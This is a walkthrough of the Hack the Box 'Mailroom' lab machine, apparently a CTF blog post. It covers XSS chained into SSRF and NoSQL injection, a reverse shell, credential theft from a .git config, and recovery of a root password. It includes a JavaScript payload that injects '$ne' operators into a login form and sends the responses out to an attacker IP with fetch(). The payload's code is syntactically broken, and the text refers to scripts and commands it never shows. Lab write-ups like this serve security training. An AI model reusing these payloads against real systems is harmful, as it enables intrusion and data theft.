In this post, I would like to share a walkthrough of the Mailroom Machine from Hack the Box


This room will be considered a Hard machine on Hack the Box

What will you gain from the Mailroom machine?


For the user flag, you will need to abuse Cross-Site Scripting which will lead to an SSRF attack together with blind nosql injection that resulted in credentials for the user (Tristan’s). Then, we should be doing port-forwarding and bypassing the authentication process so that we will be obtaining the 2fa token link on the machine. We should be able to access the website that is hosted on a different URL and abuse the command injection so that we can retrieve the reverse shell connection back to us. After enumerating further on the victim’s machine, we should be able to find another credential that belongs to Matthew inside the .git directory


As for the root flag, you need to analyze the kpcli by using strace which we should be able to get the password for the kdbx file. Later, we can use kdbx file to get the password for the root access

Information Gathering on Mailroom Machine


Once we have started the VPN connection which requires a download from Hackthebox, we can start the information gathering on the machine by executing the command nmap -sC -sV -p- <IP Address> -PN

┌─[darknite@parrot]─[~/Document/htb/Mailroom]
└──╼ $nmap -sC -sV 10.10.11.209 -oA initial 
Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-26 09:34 EDT
Nmap scan report for mailroom.htb (10.10.11.209)
Host is up (0.24s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 94:bb:2f:fc:ae:b9:b1:82:af:d7:89:81:1a:a7:6c:e5 (RSA)
|   256 82:1b:eb:75:8b:96:30:cf:94:6e:79:57:d9:dd:ec:a7 (ECDSA)
|_  256 19:fb:45:fe:b9:e4:27:5d:e5:bb:f3:54:97:dd:68:cf (ED25519)
80/tcp open  http    Apache httpd 2.4.54
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 121.36 seconds
┌─[darknite@parrot]─[~/Document/htb/Mailroom]
└──╼ $


Let’s meet the team in the mailroom.htb where we can use in the later stage.


By default, let’s execute a common Cross-Site Scripting (XSS) on the form


Boom! We have successfully retrieved the attack as shown in the screenshot above.


Therefore, let’s try to call back a javascript file by using the XSS attack method.

<?php
require 'vendor/autoload.php';

session_start(); // Start a session
$client = new MongoDB\Client("mongodb://mongodb:27017"); // Connect to the MongoDB database
header('Content-Type: application/json');
if (!$client) {
  header('HTTP/1.1 503 Service Unavailable');
  echo json_encode(['success' => false, 'message' => 'Failed to connect to the database']);
  exit;
}
$collection = $client->backend_panel->users; // Select the users collection

// Authenticate user & Send 2FA if valid
if (isset($_POST['email']) && isset($_POST['password'])) {

  // Verify the parameters are valid
  if (!is_string($_POST['email']) || !is_string($_POST['password'])) {
    header('HTTP/1.1 401 Unauthorized');
    echo json_encode(['success' => false, 'message' => 'Invalid input detected']);
  }

  // Check if the email and password are correct
  $user = $collection->findOne(['email' => $_POST['email'], 'password' => $_POST['password']]);

  if ($user) {
    // Generate a random UUID for the 2FA token
    $token = bin2hex(random_bytes(16));
    $now = time();

    // Update the user record in the database with the 2FA token if not already sent in the last minute
    $user = $collection->findOne(['_id' => $user['_id']]);
    if(($user['2fa_token'] && ($now - $user['token_creation']) > 60) || !$user['2fa_token']) {
        $collection->updateOne(
          ['_id' => $user['_id']],
          ['$set' => ['2fa_token' => $token, 'token_creation' => $now]]
        );

        // Send an email to the user with the 2FA token
        $to = $user['email'];
        $subject = '2FA Token';
        $message = 'Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=' . $token;
        mail($to, $subject, $message);
    }
    // Return a JSON response notifying about 2fa
    echo json_encode(['success' => true, 'message' => 'Check your inbox for an email with your 2FA token']);
    exit;

  } else {
    // Return a JSON error response
    header('HTTP/1.1 401 Unauthorized');
    echo json_encode(['success' => false, 'message' => 'Invalid email or password']);
  }
}

// Check for invalid parameters
else if (!isset($_GET['token'])) {
  header('HTTP/1.1 400 Bad Request');
  echo json_encode(['success' => false, 'message' => 'Email and password are required']);
  exit;
}

// Check if the form has been submitted
else if (isset($_GET['token'])) {
  // Verify Token parameter is valid
  if (!is_string($_GET['token']) || strlen($_GET['token']) !== 32) {
    header('HTTP/1.1 401 Unauthorized');
    echo json_encode(['success' => false, 'message' => 'Invalid input detected']);
    exit;
  }

  // Check if the token is correct
  $user = $collection->findOne(['2fa_token' => $_GET['token']]);

  if ($user) {
    // Set the logged_in flag and name in the session
    $_SESSION['logged_in'] = true;
    $_SESSION['name'] = explode('@', $user['email'])[0];

    // Remove 2FA token since user already used it to log in
    $collection->updateOne(
      ['_id' => $user['_id']],
      ['$unset' => ['2fa_token' => '']]
    );

    // Redirect to dashboard since login was successful
    header('Location: dashboard.php');
    exit;
  } else {
    // Return a JSON error response
    header('HTTP/1.1 401 Unauthorized');
    echo json_encode(['success' => false, 'message' => 'Invalid 2FA Login Token']);
    exit;
  }
}


?>
<?php
require 'vendor/autoload.php';

session_start(); // Start a session
$client = new MongoDB\Client("mongodb://mongodb:27017"); // Connect to the MongoDB database
header('Content-Type: application/json');
if (!$client) {
  header('HTTP/1.1 503 Service Unavailable');
  echo json_encode(['success' => false, 'message' => 'Failed to connect to the database']);
  exit;
}
$collection = $client->backend_panel->users; // Select the users collection

// Authenticate user & Send 2FA if valid
if (isset($_POST['email']) && isset($_POST['password'])) {

  // Verify the parameters are valid
  if (!is_string($_POST['email']) || !is_string($_POST['password'])) {
    header('HTTP/1.1 401 Unauthorized');
    echo json_encode(['success' => false, 'message' => 'Invalid input detected']);
  }

  // Check if the email and password are correct
  $user = $collection->findOne(['email' => $_POST['email'], 'password' => $_POST['password']]);

  if ($user) {
    // Generate a random UUID for the 2FA token
    $token = bin2hex(random_bytes(16));
    $now = time();

    // Update the user record in the database with the 2FA token if not already sent in the last minute
    $user = $collection->findOne(['_id' => $user['_id']]);
    if(($user['2fa_token'] && ($now - $user['token_creation']) > 60) || !$user['2fa_token']) {
        $collection->updateOne(
          ['_id' => $user['_id']],
          ['$set' => ['2fa_token' => $token, 'token_creation' => $now]]
        );

        // Send an email to the user with the 2FA token
        $to = $user['email'];
        $subject = '2FA Token';
        $message = 'Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=' . $token;
        mail($to, $subject, $message);
    }
    // Return a JSON response notifying about 2fa
    echo json_encode(['success' => true, 'message' => 'Check your inbox for an email with your 2FA token']);
    exit;

  } else {
    // Return a JSON error response
    header('HTTP/1.1 401 Unauthorized');
    echo json_encode(['success' => false, 'message' => 'Invalid email or password']);
  }
}

// Check for invalid parameters
else if (!isset($_GET['token'])) {
  header('HTTP/1.1 400 Bad Request');
  echo json_encode(['success' => false, 'message' => 'Email and password are required']);
  exit;
}

// Check if the form has been submitted
else if (isset($_GET['token'])) {
  // Verify Token parameter is valid
  if (!is_string($_GET['token']) || strlen($_GET['token']) !== 32) {
    header('HTTP/1.1 401 Unauthorized');
    echo json_encode(['success' => false, 'message' => 'Invalid input detected']);
    exit;
  }

  // Check if the token is correct
  $user = $collection->findOne(['2fa_token' => $_GET['token']]);

  if ($user) {
    // Set the logged_in flag and name in the session
    $_SESSION['logged_in'] = true;
    $_SESSION['name'] = explode('@', $user['email'])[0];

    // Remove 2FA token since user already used it to log in
    $collection->updateOne(
      ['_id' => $user['_id']],
      ['$unset' => ['2fa_token' => '']]
    );

    // Redirect to dashboard since login was successful
    header('Location: dashboard.php');
    exit;
  } else {
    // Return a JSON error response
    header('HTTP/1.1 401 Unauthorized');
    echo json_encode(['success' => false, 'message' => 'Invalid 2FA Login Token']);
    exit;
  }
}


?>

As we expected, the file has been transferred to the machine.


We should be getting some credentials by transferring the index.js into the machine.

var url = "http://staff-review-panel.mailroom.htb/auth.php";
var attacker = "http://10.10.14.98/out";
var xhr  = new XMLHttpRequest();
xhr.onreadystatechange = function() {
  if (xhr.readyState == XMLHttpRequest.DONE) {
    fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)));
 xhr.open('POST', url);
 xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
 xhr.send('email[$ne]=1&password[$ne]=1');

The Python script above will provide some information on the machine


Sadly, we have retrieved the error like the above.


The source code above will provide us with a username that we can use later.


For us to obtain the password on Tristan access, we should create a source code as shown above.


After a while of troubleshooting, we managed to obtain the credentials for tristan


At last, we managed to access the machine via SSH service.


Sadly, there is nothing that looks interesting residing inside the machine.


As a result, we can use the port forwarding port 80


We should initiate the NoSQL Injection via Burpsuite


By reading Tristan’s mail, we found a link that also shows the token file


However, we got an error response which look weird to me.


After we analyzed the error, we found out that we should add the port number on the browser.


Finally, we managed to access the interface by using the link we found earlier.


Therefore, let’s start our nc listener on our attacker’s machine.

A picture containing background pattern

Description automatically generated

We should be getting the command above.


Finally, we have obtained the reverse shell connection to us.


We managed to retrieve Matthew’s credentials within the .git/config file


Boom! We managed to change Matthew’s privileges and access


We can read the user flag by typing the “cat user.txt” command

Escalate to Root Privileges Access


To save some time on enumeration the progress for the machine, we should upload the pspy64 into the victim’s machine.


Sadly, we didn’t have the malicious process and file that had been found using the pspy54


At last, we managed to sight the password of the personal.kdbx


Therefore, let’s enter the credentials into the kpcli


By default, we can see the password for the root access


Therefore, let’s change to root by using the password that we found earlier.


We can read the root flag by typing the “cat root.txt” command